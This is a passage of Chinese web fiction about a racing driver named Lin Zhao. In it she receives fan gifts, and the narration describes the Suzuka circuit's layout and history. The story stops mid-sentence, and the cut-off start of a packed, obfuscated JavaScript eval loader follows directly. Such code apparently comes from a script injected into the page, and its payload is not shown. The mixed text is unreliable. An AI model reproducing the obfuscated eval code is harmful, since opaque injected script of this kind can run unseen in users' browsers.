“你自己做的？”她问。
女孩点了点头，笑得很激动。
“谢谢你。”林朝把玩偶收进了背包里。
整个背包被塞得鼓鼓囊囊的，里面有车迷送的钥匙扣、手环、贴纸、几封信、一个印着她头盔图案的马克杯，还有那只小熊。
她不知道的是，这个粉丝团成立还不到三个月。银石首秀拿分之后，几个中国车迷在社交媒体上拉了一个群，最开始只有十几个人，后来慢慢涨到了几百人。他们自己设计了立牌的图样，自己凑钱做了海报和手幅，自己订了机票和酒店，从北京、上海、广州、成都飞到名古屋。有人请假来的，有人刚考完试就赶去机场，有人第一次出国，在转机时差点走丢。没有人组织他们。
但他们最后整整齐齐地站在林朝面前，用礼物和心意祝福喜欢的车手。
铃鹿赛道在名古屋西南方向六十公里的三重县铃鹿市，从大阪和名古屋过去都不远，开车大概一个小时。赛道本身建在一个游乐园里面，巨大的摩天轮从远处就能看到，红色和白色的支架在阳光下很显眼。
1987年这条赛道第一次承办F1日本大奖赛，到现在已经二十多年了。在很长一段时间里，日本站都是赛季的收官战，世界冠军好几次在这里决出。铃鹿在F1赛历中的地位，很大程度上来自于这些历史——它见证过太多决定命运的时刻。
这条赛道最独特的地方在于它的形状。别的赛道都是环形，要么顺时针要么逆时针，铃鹿不一样，它用一座立体交叉桥把自己拧成了八字形，一圈下来十八个弯道，左弯右弯来回切换。这意味着车手的脖子要承受两个方向的离心力，一场比赛跑完，肌肉酸得连hans都撑不住。
弯道布局也是一绝。刚出起跑线就是一个下坡路段，车手要全速扎进一组连续七个的高速S弯，过弯速度超过二百七十公里每小时。这个组合弯的难点在于多米诺效应——第一个弯的走线错了，后面所有弯的路线都会乱套，根本没有补救的机会。车手入弯之前就要预判好三个弯之后的路线，脑子、手和脚必须完全同步。德格纳弯是一个越来越急的弯，前半段速度还可以保持
;eval(function(p,a,c,k,e,d){e=function(c){return(c